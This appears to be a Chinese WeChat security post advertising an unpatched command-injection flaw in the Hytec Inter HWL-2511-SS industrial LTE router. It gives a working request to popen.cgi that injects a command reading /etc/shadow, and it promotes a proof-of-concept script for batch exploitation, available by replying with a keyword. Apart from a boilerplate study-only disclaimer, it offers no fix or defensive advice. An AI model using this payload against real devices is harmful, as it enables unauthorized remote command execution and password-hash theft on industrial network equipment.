【HW-0day】Hytec Inter HWL-2511-SS RCE【POC】

本公众号所提供的文字和信息仅供学习和研究使用，请读者自觉遵守法律法规，不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。

漏洞简述

Hytec Inter HWL-2511-SS是日本Hytec Inter公司的一种工业 LTE 路由器和 Wi-Fi 接入点。Hw 期间爆出0day 其 popen.cgi命令注入漏洞

漏洞影响

<= 当前最新版本

漏洞复现

/cgi-bin/popen.cgi?command=ping%20-c%204%201.1.1.1;cat%20/etc/shadow&v=0.1303033443137921

发送payload,响应如下则存在漏洞。

使用Poc脚本批量刷洞

获取 POC

回复关键字【20230816】获取POC

原文始发于微信公众号（贝雷帽SEC）：【HW-0day】Hytec Inter HWL-2511-SS RCE【POC】